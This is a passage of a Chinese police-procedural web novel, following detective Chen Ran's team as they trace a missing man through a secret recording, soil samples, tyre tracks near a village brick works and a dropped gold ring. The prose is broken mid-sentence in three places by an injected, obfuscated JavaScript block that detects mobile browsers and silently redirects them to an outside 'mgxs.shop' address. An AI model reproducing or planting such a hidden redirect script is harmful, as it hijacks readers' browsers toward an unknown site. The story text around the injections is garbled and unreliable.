“捉奸?在哪儿?”听到要捉奸,这几个人满脸兴奋,连债都不要了,直接问起了地址。 吴为还真知道地址,当下将那地址给了这几个讨债的。 “这地方我认识,跟我走吧。正好我有车,带你一块去。”先前高冷的男人卸下防御,主动要带吴为去捉奸现场。 吴为却突然捂住肚子,说:“不对劲,我肚子突然疼得厉害,去不了。要不你给我留个电话号,回头你给我讲下那边到底怎么样了?” “那不行,要不你把号给我,只要你说的是真事儿,我就会联系你。你要敢骗我,我肯定找你算帐。”男人挺有主意,轻易不会把自己的号码给别人。 “是真事,你放心吧,我都想去,这不是怕得阑尾炎吗?”吴为撕下一页纸,写下自己的电话号,交给对方,还不忘催促这些人赶紧去现场看热闹。 直到那些人上车走远,吴为才直起腰来,呼出一口气。 “你刚才那招挺高,演得也很像,不过捉奸的事到底是不是真的?”陈染问道。 “是真的,刚才给派出所民警打电话,他跟我说的。” 听他这么说,陈染猜测,他平时可能经常聊八卦,所以那民警才会有主动跟他分享八卦的表现。 捉奸现场不需要保秘,所以吴为向其他人透露,也算不得泄秘。 两人说完这件事,又等了八分钟,守在黄国祥家墙下的赵根生突然从汽油桶后溜出去,再次通过墙上豁口出去,将身形掩藏在几个卖废品的居民中。 8. 三人行 白鹤村砖厂 “陈队,你们先拿着录音机走,的确有一些新发现。”赵根生从废品收购站出来,往陈染这边走,错身而过时,他把录音机交给陈染。 陈染不着痕迹地把录音机收好,并没有跟赵根生说话。 “陈队,现在回支队吗?”赵根生从黄国祥家里出来时,左郁和另一位刑警已赶了过来。 “回,都上车吧,赵哥继续蹲守,咱们先回。”陈染说完,先坐上驾驶位。 几个年轻刑警快速坐回到车上,但陈染的车仍停在路边,陈染在等,等焦俊芳姐弟俩出来。 那扇蓝色木门被人推开,焦俊芳出来时,头发有些凌乱,脸上喜怒不辨。 看着那辆银色货车驶离现场,陈染告诉吴为:“把录音机打开,听听他们都说什么了。” 吴为早就想听听焦俊芳和黄国祥都在说什么了,他立刻按下播放键。 “你怎么突然就来了,没打个电话呢?”伴随着开门声,黄国祥的声音传到了几个人耳中。 “黄国祥,昭庆路那个房子怎么回事,你说买下来等拆迁,我信了。现在房子在谁名下呢?是不是那个姓车的?” 黄国祥的声音传过来:“昭庆路那个房?这事我正想跟你说呢,是这么回事,去年你爸做手术要用钱,我给凑了五万,后来手头紧,我就让人悄悄接了地下水管,为的就是省点水费。” “现在上头收到了举报信,要查这事儿呢。我这也是没办法了,只好给管这事的头头送了一套房子。那个姓车的女人跟我没啥关系,是人家小蜜,房子在她名下不容易查到,整个事儿就这么回事。” “有这层关系在,以后有什么事他肯定会关照一下。” 黄国祥似乎早有准备,三言两语就找到了理由,试图掩盖他给车某买房花钱的真相。 听到这里,左郁一脸无语地虚点着收音机,就差说一句“无耻之徒”了。 焦俊芳三弟不信他这番话,估计是推了什么东西,有重物坠地的声音,随后传出来他质问的话:“你那浴池一年下来才赚几毛,至于花这么大钱笼络人?骗鬼呢?” “我姐过得本来好好的,你非撩她,现在又来这套,你对得起她吗?” 黄国祥辩解道:“别人这么说我行,唯独你家人不能这么说。去年你爸手术用钱,我没帮忙?为了那笔钱,我浴池差点干黄了,我说什么了?” 录音机里接着传来焦俊芳冷冰冰的声音:“黄国祥,你给我爸拿手术费的事我一直记着,所以这一年来有些事我睁一只眼闭一只眼,只当没看见。” “可你现在越来越过分,一边说着等我,一边拿那么多钱给人买房办借读。” “你不想好好的,那咱们就好聚好散。不过是你先招惹我的,不能你说好就好说散就散。” “你得再给我拿五万,什么时候钱到手什么时候断。以后咱们各走各的路,就当不认识。再敢来招惹我,小心我让你当太监。” “又五万?你特么的,你是镶金的还是带钻的……”黄国祥的声音渐渐暴躁。 话说到这里,录音机里传来一阵扭打声和哼叫声。 打斗持续了三分钟左右才停下来,黄国祥说:“别闹了,钱我给你,不过你得给我点时间,至少三个月。” “不行,半个月。”焦俊芳这一刀砍得挺狠,直接将三个月砍成半个月。 黄国祥呼吸声粗重,估计也是被逼得狠了。 老三补充了一句:“我姐说半个月就半个月,不信咱们走着瞧。你要不想往好了过,那就都别过了。”这句话里隐含威胁。 “行了,半个月就半个月,就这么定了。”不知是不是老三的话起了作用,黄国祥竟然很快接受了这个条件。 听完录音,吴为庆幸负责蹲守取证的不是他。要是换成他,吃到这么大的瓜,很难安静地听到结束。 “录音听完了,有什么看法?”陈染没有急于发表意见,先问车里的几个人。 吴为先说道:“这两个人关系不正当,这是肯定的。可惜他们几个谁都没说黄良失踪的事,还得另外想办法。” “不过黄国祥给两个女人花钱,开销过大,他肯定有作案动机。” 左郁直接提到了对话结尾时焦俊兴威胁的几句话:“陈队,黄国祥身上应该真有事。焦俊芳姐弟俩应该知情,所以焦俊芳敢让黄良半个月拿五万。” “那辆银色小货车得重点查一下,弄清楚车轮上土壤来源,说不定就能找到黄良的去向。” 陈染道:“听说咱们五队有个人研究过容城周边的地质,包括水系分布和土壤情况。回去后把刚取的土壤样品给他一份,让他帮忙瞧瞧。” 吴为惊讶地道,“你说的是吕承光吧,你连这都知道?” “我来之前肯定得把队里的情况了解下,基本信息和特长肯定要看的。”陈染解释道。 车开到半路时,吴为接到了一个电话,电话是那个警惕性很强的讨债人打过来的。他们几个真找到了捉奸现场,那个地方离黄国祥家不远,开车过去六七分钟就到了。 他们在那儿吃了大瓜,打电话给吴为的时候,那几个人打算再去黄国祥家里看看。 他给吴为打电话,就是为了说下捉奸现场的情况。吴为对此兴趣不大,他更想了解债务纠纷的细节,聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171733|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几句顺势问道:“大哥,黄国祥欠你多少钱啊?” “没多少,三千八,他新买的房子是我们哥几个给装的。跟他要工费,每回都说没钱,我看他就是成心的,想耍赖,再不给我就把装好的东西给他拆了。” 吴为好心劝了一句:“那不妥吧,拆别人家违法。” 那人却道:“装修活是我们干的,万一把什么东西忘墙里边或者地砖下边,我撬开检查一下别人又能怎么样?” 似乎意识到自己说多了,他又找补道:“我随便说的,别当真。” 吴为猜测他以前可能这么干过,而且成功要到了钱。问过对方姓名,吴为便挂了电话。 十几分钟后,越野车驶进支队大院。陈染带着几位下属上了三楼五队办公区,在走廊上碰到了三大队李队长。 李队已得到消息,五队的吕承光已准备调走,具体去哪儿还没定。但他猜测,报告还没送上去,陈染应该还不知道。 陈染刚来,暂时不知道此事。回支队后,她先把留在支队的下属叫到会议室,大家一起听了那段录音。 听完后,有位刑警一脸惊讶地道:“这两个人竟然真有关系,要不给黄国祥和侄子做个亲子鉴定吧,这种实打实的证据越多越好。” 现在不少人想起,刚接手这个案件不久,陈染就认为这两个人关系不简单,如今看来真是如此。 老姚递给陈染一分报告:“陈队,这是刚调查出来的,你看看吧。一年前黄国祥转出去的五万块钱,是转给了焦俊芳母亲。” 讨论到这个地步,黄焦二人的关系已确定,没人质疑。 会议进行到尾声时,陈染看了眼会议桌远端的中年人,问他:“吕大哥,我们这次从小货车轮胎上取下不少土壤样本,部分样本已被送到刑科大队。” “我给你留了一份,你看看,这种土,咱们容城周边有没有?” 吕承光上午已写好调动申请,此时那份申请书还锁在他办公桌里,突然被陈染点到,他略有几分不自在。 默默接过吴为递过去的透明证物袋,吕承光拿出一个黄土块,用力压下去。因为土质比较粘,大的土块被压成了形状不一的小坷垃。 吕承光观察着土块中间夹杂的几个红色颗粒物,再三确定后,说:“这种土,土质偏粘,土块里有微量红砖末,我记得沙口区郊区白鹤村就是这种土,村里刚好有个砖厂,这土可能就是那个地方来的。” 陈染本来还想问问各个疑点的调查进展,尤其是黄国吉赌博的事。 但吕承光说的事更重要,如果作案人的确出现在白鹤村砖厂一带,他们说不定可以在那边找到尸体。 9. 三人行 土地性质变更 “除了白鹤村砖厂附近,容城还有哪些地区可能有类似土壤?”陈染问道。 “陈队,容城城郊沙质土壤偏多,像这种粘质土壤,分布地区比较少。与白鹤村周边土壤类似的地区也有,主要在三个乡镇。考虑到农村经常有人拉砖,这几个地区也不能完全排除。” “不过以我个人经验来看,轮胎上取的土与白鹤村的更为接近。保险起见,我可以连夜开车去白鹤村取样,再由刑科大队化验比较下,如果所取的样本成分与那辆货车上的泥土基本一致,就可以先去那边搜查。” 吕承光最近有了调职的想法,他想在离开五队之前,尽量多做点事,再加上他知道这个案子急需线索,就提出了连夜去取土壤样本的建议。 之前几次会议上,吕承光很少发言,不知道是在观望,还是对新队长有看法。 他这次表现得这么积极,倒让陈染有些惊讶。 此时已到了下午五点,沙口区白鹤村并不是偏远的村落,距离市区不算远。从市局支队开车去白鹤村,开车两个小时能到。现在出发的话,天黑之前应该能返回市区。 陈染看了眼吕承光,感觉他状态不太好,不知道是不是身体不舒服。 “来回跑那么远,你没问题吧?”陈染问道。 “没事,小感冒,开车没问题。”吕承光坚持要去,考虑到他对容城周边土壤情况最了解,万一有什么变化,有他在也方便处理,陈染就同意了。 吴为和左郁居然齐齐主动表态,要陪着吕承光一块过去。 “行,你俩陪吕大哥一起过去更稳妥一些。” “老姚,黄国吉赌博的事查得怎么样了,人还没回来,你能联系上他吗?”刚才开会时,负责此事的刑警一直没回来。老姚打电话联系他,也没能打通。 “没联系上,也许手机没电了,我在队里等着,收到信儿我马上通知你。” 这时吴为与左郁已随着吕承光下了楼,他们走后,陈染给沙口区刑警大队长彭亮打了个电话。 彭亮秒接,得知沙口区白鹤村可能是那起失踪案的抛尸现场后,彭亮马上重视起来,告诉陈染:“我马上通知那边派出所的人,让他们配合下。还有什么需要,你尽管跟我讲。” 陈染近一年来帮彭亮处理过数十枚疑难指纹,间接地帮他破了数起案件。她又不要他的钱,彭亮自然想在其他方面表现一下,他巴不得能有机会帮陈染的忙。 现在机会来了,挂断电话后,他马上联系了白鹤村所在的乡镇派出所,让他们派人在路口等候去取样的市局刑警。 晚六点半左右,派出去调查黄国吉赌博的刑警终于回来了。不过他竟然不是独自一人回来的,与他同行的人居然还有他要查的黄国吉。 看到这位刑警身后的黄家大哥,陈染和老姚都有点纳闷,他们打算再收集一些证据,再传讯黄家兄弟与焦俊芳,但不是今天。 “陈队,黄国吉自己要来的,我们查他涉赌的事儿他知道了,关于这件事他有话要说。”刑警姓钱,年轻一点的同事都叫他钱哥。他简单说了几句,介绍了黄国吉出现在这里的原因。 老姚疑惑地道:“你怎么没打个电话,我联系你几回,都联系不上,出什么事了?” 刑警钱哥面带惭愧:“我手机和钱包让人偷了……” 陈染:…… 老姚也挺无语的,一个当刑警的去查案子,结果让人偷了。 “你以前还是反扒队的,几年没干这个,倒让人钻了空子。你说你要是去报案,人家小民警问你是干什么的,你敢说你是刑警?” 屋子里还有几个刑警,听到这个消息,那几个人都不客气地哄笑出声,只有钱哥一脸窘迫。 他知道,自己这次真出名了,以后支队谁遇见他,都能反应过来,他就是那个被扒手偷了的刑警! “钱哥,你先把黄科长带到询问室,我马上过去。”陈染的话给钱哥解了围,他赶紧带着黄国吉离开办公室。 三分钟后,陈染带着老姚和傅晋安出现在询问室。这个询问室黄国吉不是第一次来了。 上次他来的时候,表情淡漠,好像对什么事都不关心的样子。 这次明显不一样,陈染刚坐好,黄国吉就主动问道:“你们派人去查我赌博的事了,对吗?我不知道你们是怎么知道的,可这件事我是冤枉的,我可以解释。” “哦,你是怎么知道我们在查你?有人通知你了?”陈染问道。 “是,邻居家小孩在那家店隔壁当收银,给我打电话,说有人在打听我的事。” 钱哥也肯定地说:“是这样,黄国吉主动去店里找我,还让我带他来队里,说有事要亲自跟领导谈。” 弄清楚了这件事的前因后果,陈染追问道:“你说你是冤枉的,那就说明,你赌博的事确实存在。” “是,存在。”黄国吉看上去很懊恼,给出这个答案时,他还用手掌按压着自己头两侧。 “可我不是主动要去赌钱,我是被朋友骗过去的。这是那帮人给我做的局,我不清楚到底都有谁,但有几个人比较可疑,我认识两个,我可以把他们的姓名都写下来。” 做局,骗人赌钱? 这个理由真有可能是真的。因为这种事从未断过,从古至今,一直有这种局。 有的人专骗打工回家过年的同乡,有的团伙会在拆迁的小区寻找目标,把拆迁款骗到手。陈染就处理过类似案件。 像黄国吉说的这种情况,要验证是不是真的,其实不难。可以看看他平时是否有打麻将赌钱的习惯。 如果以前一直不参与牌局,突然被朋友拖到一个场子里,一下子输掉两万,基本可以认定这是个局了。 “老姚,你帮忙查一下,他说的事是否属实,我回办公室看点材料,有什么事再去找我。” 看着陈染起身离开,黄国吉疑惑地问钱哥:“同志,她是你们领导?” “当然,她是我们队大队长,如假包换。别看她年轻,她资历可不浅,破案方面绝对不输老刑警,厉害着呢。我劝你老实点,有什么话好好交待。” 钱哥这番话居然起了作用,黄国吉后知后觉地问道:“她是不是姓陈,容城市那位传奇刑警?” 钱哥没否认。黄国吉见状,竟然激动地捂了下脸,等他拿开手时,眼睛里出现一些水光。 “接案子的居然是她!” 询问室里,老姚与傅晋案互相对视一眼,看来他们这位新队长名气的确很大,容城市周边市民听说过的人很多。 看这位黄科长的样子,仿佛受到了不少伤害。听到接手这起案件的人是陈染,居然有一种遇见包青天的感觉。 老姚咳了一声,把谈话转到赌钱上:“这方面的细节稍后再谈,你先说说,你输了多少?赌资是怎么凑齐的?” “输了两万,钱是我朝几个大学同学借的,现在已经还上一千,后面陆续都会还。他们都有正经工作,你们要是想查,可以找他们查证。” 老姚不动声色地记下这几个人的基本信息,准备稍后打电话查一下。 如果黄国吉确实用了几个同学的钱还的赌资,以前又没有赌博史,那他可能真是被人设了局。 这个局的目的,或许不仅仅是为了弄到他的钱,可能还想让他当替罪羊。 当然这些现在都没证据,全都是老姚根据现有情况,推测出来的一种可能。 交待完那场赌博细节及涉及人员后,黄国吉居然举了下手,说:“同志,我要举报我亲弟弟黄国祥!” “举报你弟弟?!你要举报他什么?”老姚声音不大,心里却有点激动。 “我爸失踪前,他跟我爸吵了好几回,他想把我爸这两年攒的养老本都借走。” “说是借,其实就是白拿,以前借好几回了,他开浴池的钱就是我爸拿的,还有买车,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171734|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸也给他贴了钱。这么多年,我爸不知道给他贴补多少,加起来最少能有十万,他就没还过。” “这回我爸说什么都不答应,他可能是恨上我爸了。所以我觉得,我爸失踪的事他脱不了干系,说不定,我爸他……” 黄国吉有点说不下去了,声音有点哽咽。 傅晋安写字很快,黄国吉说完了,他也记完了。看着笔录上的大段对话,傅晋安有一种预感,这个案子可能很快就要破了。 次日清晨,四辆汽车出现在通往沙口区白鹤村的国道上,经过一个路口,这一行人碰到了早已等候在此的彭亮。 他头发已有谢顶迹象,但魁梧的身材依旧像年轻时一样。 他上了陈染的越野车,陈染坐在车后座,由一位刑警帮忙开车。等车队继续出发,陈染拿出早上刚到手的化验单,递给彭亮。 “这份化验单,是刑科大队连夜做出来的。你看看吧,对两批土壤样本进行对比,结果证实,我们在焦俊芳三弟货车上所取的土样应该来自于你们区的白鹤村。” 彭亮有点激动,没想到查了这么久的案子,失踪者最后出现的地方居然大概率在他的辖区。 “那我陪你们过去一趟吧,白鹤村所在派出所那边我都安排好了,一会儿到现场搜查,我让他们把能派的人都派去。” 陈染向彭亮道谢:“白鹤村不是个小村子,占地面积也很大的,靠我们这些人想在短时间内确定地点,没那么容易。” “要是所里的同志愿意帮忙那就太好了,他们大都是本地人,对周边环境熟,有他们协助或者带路,查起来应该顺利些。” “你跟我客气什么,你帮沙口区破了几十个案子,派出所的同志们知道去现场的人是你带的人,他们也乐意帮忙。” 十几分钟后,白鹤村所在的派出所所长魏青松带着人跟陈染等人汇合。 站在三岔路口,魏青松往两个方向指了指:“彭队,陈队,这两个方向都有那种土,咱们先去哪边查?” 彭亮没吱声,把选择权交给了陈染。 陈染从车上下来,站在路口看了看,几秒钟后指着东南向那条两个车道宽的柏油路说:“先去那边吧。” 看了陈染指的方向,魏所长没说什么,示意手下人跟着前面的车一起从这条路进村。 下车后,魏所长终于找到了单独跟彭亮说话的机会,他小心拽了下彭亮衣摆,说:“彭队,有个新情况,这边的村委会成员,可能存在一些问题,个别人员不一定能配合工作。” “怎么了,具体说说。”彭亮问道。 “涉及到土地性质变更的事,五个月前村委会把白鹤村东南方土地庙附近的十五亩地承包给一个驾校,签了合同。驾校未经国土局批准,私自对基本农田做了平整,还铺上了水泥。” “这件事管理部门已经查到了,目前已责令村委会及驾校整改,将铺设的水泥铲掉,恢复到能正常种地的状态。” “前两天我带队去村里,协助管理部门监督整改工作。没想到,我们开过去的三辆车轮胎全被人用利器划了,现在还没查到是谁干的。 彭亮本来神色轻松,听到后面,已气得牙关紧咬。 这种赤果果的恶意和嘲弄,他有好几年没感受到了。 要是一直查不出来是谁干的,找不到他们作案的证据,那帮孙子还不知道怎么嘲笑他辖下的警察呢! 他压下心头火,说:“眼下陈队的事儿要紧,先帮她找到那辆车来过的痕迹,如果能找到尸体更好。” “至于你那个案子,回头我让分局派人过来帮你查查。” 魏所长也知道事情的轻重缓急,他答应一声,赶紧上前,跟陈染说:“陈队,再往前开五百米,就没法往里开了,得下车步行。” “没关系,你带路吧,那辆货车车轮胎我找人拍了照片,给你们发几份,大家都认认,发现这种车轮,要第一时间报到我这里。” 10. 三人行 硅橡胶制模 车队沿着乡村柏油路向东南向行驶,开出去不远,陈染看到了路面一侧立着个牌子,上面写着“志远驾校欢迎您!” 刚看到这个牌子时,陈染就觉得哪里不对。路两侧全都是农田,一侧以玉米为主,另一侧是成片的水稻。 这一带土地应该都属于基本农田,基本农田是道红线,不允许个人以及某些组织随意变更土地用途。 变成驾校,不仅改变了土地用途,由农田变成工业用地,还得在路面铺设水泥或者沥青,这样一来,肯定会对土壤造成破坏,无法再进行耕种。 彭亮就坐在她这辆车上,注意到陈染的视线,他便把当地派出所长汇报的情况说给了陈染。 “按国土局的要求,驾校和村委会需要把铺设的水泥路面拆除并清运走,让该地块达到可以正常耕种的条件。这么做的话,工程量可不小,不上大型设备,不多上点人,几天能弄完吗?”陈染说话时,面上有几分疑惑。 “是啊,十五亩地,那么大面积,两天是怎么完成的?”彭亮同样心存疑虑。 按所长的意思,整改是从两天前开始的。可现在他们已看不到水泥地,只能看到那个尚未拆除的牌子,这个速度实在不正常。 没过多久,车队停了下来。陈染关上车门时,在前带路的魏所长已在旁边等候。 彭亮纳闷地看了眼堆积在排水沟和路边的水泥块垃圾,感觉这些起出来的水泥块数量远远低于正常量。 魏所长凑上前,在彭亮耳边低语:“彭队,我们在整改第一天派人来过,后期所里事情多,并没有派人跟进。我怀疑,那帮人不想花钱,只拆了一少部分,剩下的水泥路面没拆,直接往上边盖了一层土。” 彭亮脸色不大好,如果那帮人真从其他地方运土过来,盖住原有的水泥路面,那就有可能毁掉周边的车轮印和足印。 另一方面,因为整改的事,最近肯定有许多人来过此处,那些人的活动也可能把嫌疑人的足迹掩盖住,从而增加警方取样的难度。 前方是土路,路面不算很平整。魏所长指着那条路说:“从这儿往前走七百多米就能到砖厂,去砖厂有两条路,这个是其中一条。” 这个地方离砖厂不算很近,路上红砖末很少,但能看得到。在土路上往前走,越靠近砖厂红砖末含量就越高。 这段路长期被拉砖的大车碾压,路面相当硬。在这种路面上,只有下了一场雨,或者路面有积水,车轮里才会有那么多陷进去的泥土。 “大家散开搜查吧,按照商量好的方案。”陈染摆了摆手,示意众人分散寻找线索。 之前队里分过组,傅晋安跟陈染这个队长分到了一个小组,看到他与陈染同行,彭亮一边注意着路面的情况,一边跟陈染说:“嫌疑人如果要挖坑掩埋尸体,肯定要找松软一点的地块。” 陈染点了点头:“对,不过这个地方土质偏粘,就算找到相对松软的地,想挖一个能埋下成年人的坑,也没那么轻松。所以就算他真挖了坑,那坑也不会太深。” “还得考虑,他可能会随便找个沟把人丢下去。” “还有那个驾校,一会儿也得派个人去看看。我们先探探路,必要情况下,会调警犬过来。” 几个人往前走了大概两百多米,没看到可疑车轮印,反倒看到几辆大车压出来的痕迹。一路上的确看到不少足迹,看足尖方向,有很多足迹是往驾校方向去的。 由此可见,驾校这几天的整改活动让这一带新增了许多足迹,直接给这次搜查工作上了难度。 陈染抿唇看着那片土地上方盖着的土,那土还有些潮湿,怎么看都不像晒过几天的样子,应该是从别的地方运过来不久,水份还没蒸发。不会是连夜被那帮人运过来,再盖在水泥地上的吧? 要不是他们这次及时出现在现场,等那些土干了,这件事说不定就被掩盖过去了。 十分钟后,散开的数个小组都向陈染汇报了情况。大家都没有什么特别的发现,原因就在于所过之处,痕迹杂乱,给他们找人找轮胎印造成了很大的干扰。 又过了十五分钟,吕承光给陈染打来了电话:“陈队,我这边找到了一个车轮印,挺明显的,足迹也有,你看看就知道了。” 陈染赶紧把此事通知给附近的人,随后便与彭亮和傅晋安一起,去了吕承光那边。 吕承光站在土路边缘,这个位置地势较低,附近都是田野和树林,没有地。 看到陈染过来,吕承光指着树荫下一片潮湿的洼地,说:“你看这个车轮印,跟发下来的轮胎照片完全一致。”他手上拿着的就是统一下发的小货车轮胎照。 因为这一带地势低洼,地面潮湿,路边留下的轮胎印和几个足印都挺清晰。 “不错,应该就是这个了。”陈染满意点头,找到轮胎印的速度挺快,比预期还要好一些。 看完轮胎印,陈染过去看了那几个足迹的情况,有一枚靠近轮胎的右脚足迹最清晰,用来取样是最好的,另外几个足迹相对浅一些。 他们这次过来搜查,从刑科大队调了位痕检过来。听到这边有发现,痕检早就过来了,此时就在旁边待命。 陈染示意他过去,告诉他:“这个案件有可能是谋杀案,还有抛尸情节,是重案。用硅橡胶制模吧,这样可以让足迹细节更完美地呈现出来。” “来之前我让你带上相应材料,准备好硅橡胶足迹制模,都带了吗?” 她说话时态度挺和气,但要求明确,让那痕检产生一种感觉,如果他这次没按陈染的要求备齐材料,说不定会被领导给批一顿。 还好他都带了:“放心吧,该准备的都准备好了。” 痕检说完,抓紧时间打开工具箱,从里面拿出瓶瓶罐罐。 刑警队的人知道他这是要把陷入泥土里的立体足迹取出来,不过他们以前取这种土里的立体足迹多用石膏制模法,用硅橡胶制模对他们来说还比较陌生。 几个人看着痕检调配药水,虽看不懂,却因为好奇,看得挺用心。 彭亮也不太了解这些技术,不过他知道,陈染经常看各种前沿期刊和论文,中文或者外文的她都看,对最新的刑侦技术都比较了解。 他年纪上来了,学历也远不如陈染,这方面他比不了,也没打算跟陈染比。不过陈染用过的东西他也愿意学一学,如果效果好,以后也可以引用到沙口分局。 别的不一定会,抄作业他还能不会?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171735|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以,此时他是把陈染当成了风向标,她用的技术他不管能不能看得懂听得明白,都得跟着了解一下。 痕检手里托着个玻璃板,最先放到玻璃板上的是硅橡胶,调了一会儿,痕检转头问陈染:“陈队,我刚才往里加了少许月桂酸二丁基锡,相当于硅橡胶的2%,用来做触媒剂。又滴了几滴正硅酸乙脂,相当于硅橡胶的5%,用来做交联剂,这样可以了吧?” 陈染点头,表示可以,却又问道:“有没有异辛酸亚锡?有的话加两三滴,含量接近硅橡胶的1%就可以,它加快定型速度。但不要加多了,加多了定型后的硅橡胶韧性差。” “啊……这个有,我再加点。”痕检早就知道新来的五队队长不简单,但接触过后,陈染在技术方面表现出来的实力还是让他惊讶不已。 痕检很快按陈染的要求调好了要用的硅橡胶,在众人注目下,他用调墨刀将玻璃板上搅拌好的混合物涂抹在最清晰的足迹上。 陈染跟彭亮以及老姚等人商量了一下:“正常情况下,要一个小时才能定型。这次加了添加物,能快一点。留几个人在这儿守着,其他人以车轮为中心,寻找可能埋尸的位置。” 老姚指了指不远处一个高达十余米的小山包:“你们看,山包上的土被人挖走不少,要是黄良被人埋在那个小山包里,你们说,会怎么样?” 其实陈染和彭亮刚才也注意到了那个山包,只不过当时他们急于观察吕承光找到的轮胎印和足迹,暂时没提到那个被挖空一半的山包。 老姚话音刚落,彭亮便道:“那边有大车印,车印还挺新鲜,一般农户盖房用不了拉这么多土,需要这么大土方量的,会不会是刚才路过的志远驾校?” 陈染笑了下,“很有可能啊,大家都推理一下,假如,挖土车真把黄良和山包里的土一起挖走,再运到驾校路面上,他们会不会发现这具尸体?” 吴为刚才也听说了驾校违规建水泥路面被整改的事,自然猜到这些土的用途,他就道:“运到驾校的土得扬开,在水泥地上摊平,这样才能伪装成农田的样子。” “这个摊平过程肯定要用到人,他们只要眼睛不瞎,肯定能看得到。” 傅晋安也表示赞成:“施工的人可能是在夜间来这边挖土,不一定能发现尸体。但运回去把土铺开,应该不至于看不出来。” “但我们现在还没接到报警信息,这说明发现尸体的人可能选择了隐瞒真相。可能是怕说不清楚,给自己惹麻烦……” 周围又有好几位刑警加入讨论,最后陈染说:“你们说的情况都有可能。先在附近找,实在找不到线索,再去驾校那块地看看。” 听她布置完任务,彭亮主动提议道:“可以先派几个人过去检查下,看看驾校那片水泥地到底还在不在?” “有猫腻的话,可以先让魏所以派出所的名义让驾校负责人和所有参与整改的工人到场,给他们做下笔录,看看到底谁在夜间还在给驾校干活。” 半小时后,傅晋安给陈染打来了电话:“陈队,驾校新盖的土底下真有猫腻,那些水泥路基本都在,都没扒,上面盖的土大概有四十公分。不用锹挖一下是看不出来的。” “队长,你自己过来看看吧。” 11. 三人行 遗落的戒指 “一会儿过去。”跟傅晋安结束通话后,陈染让留在这一片的人继续搜查。 老姚留在这边,现在尸体到底在哪里还不确定,他们只能把所有可能性都考虑进去,并加以验证。 根据矮山被挖空一半的迹象,陈染等人想到了尸体已被挖土机运走的可能性。但这只是一种猜想,并不意味着这边就没有发现尸体的可能了,所以这边的搜查工作不能停。 等陈染带人走后,老姚叮嘱附近搜查的刑警和民警:“失踪者黄良身高178厘米,体重180斤,这种体型,如果是尸体,是很沉的,跟活人的重量完全不是一回事。有多沉你们都有概念,不用我多说。” “所以这个嫌疑人走不了太远,尸体可能就在附近,大家再加把劲,有异常要及时向我报告。” 周围的人纷纷响应,很快散开,继续寻找可疑的藏尸处。 吴为走出去不远,感到前方的草不太对劲,好像被什么东西压过一样。 “你看,有人从这个地方开始拖拽东西,把路上的草和野花给压倒了。”吴为跟同组的左郁说。 左郁也看到了,的确有拖拽重物的痕迹。那道痕迹在缓坡上向远方延伸,暂时还看不到终点。 “说不定嫌疑人来过,刚开始他扛着尸体,扛不动了就拖着往前走,咱们得赶紧通知老姚。”说完,吴为给老姚打了个电话。 他有点激动,打完电话,便蹲下来观察着那些被压平的草和野花,还跟左郁说:“顺着这些痕迹追踪,说不定还能找到足迹。” 没想到,一条长长的黄毛动物突然从旁边小洞里钻出,不等吴为反应过来,那黄毛小兽已撒开四脚,像箭一样往西北方向逃走了。 吴为吓得往后退了一步,后知后觉地意识到,自己这是碰上黄鼠狼的窝了。 附近有两个民警,看到这边有新情况,他俩都走了过来,一位上了岁数的民警说:“洞里边应该藏着不少粮食,我小时候挖过,挖出来一大兜子花生,这小玩意可会藏东西了。” 虚惊一场,吴为好奇地看向那个洞口,伸手往洞里掏了两把,竟然也掏出了花生。 左郁是城市青年,没在农村生活过,对这个洞很好奇,也想掏一把试试,掏完了再给放回去就行。 “咦,你看这是什么东西?”左郁眼尖,正准备行动,便看到离洞口不远处草丛里的戒指。 要不是那黄鼠狼突然现身,露出洞口,他应该发现不了。 戒指是金色的,样式简洁,应该是男款。是足金还是金包银暂时还不确定。 俩人瞪着那枚戒指,又对视了一眼,左郁不确定地道:“你说这戒指是当地人干活落在地里的,还是咱们找的嫌疑人丢的?” 吴为在乡下生活过,了解普通村民的生活,“除非这东西是假的,不值钱。要是真的,谁会戴着它下地干活?再说这边是野地,当地人没事不会来这边溜达。戒指是嫌疑人的可能性更大。” 老姚来得很快,随同他一起过来的还有几位警察,查看了草丛被压平的痕迹后,老姚说:“多过来几个人,顺着被压的痕迹往前找,发现足迹注意取样。” “这枚戒指,有可能是嫌疑人在搬运尸体时掉的。”老姚说完,让左郁把戒指放到证物袋里。 众人往前走了二十几米,痕迹中断,眼前就是那片已被挖空的矮山。 看样子,如果被拖拽物真是尸体,那东西应该是被人埋在了山脚下。此时尸体已不在此处,被挖土机运走了。 看着前方空旷果露的土坑,老姚说:“没发现尸体,不过还好,顺着这条线,又取到两枚足迹,与货车停留处那一枚是一致的,咱们没白跑一趟。” 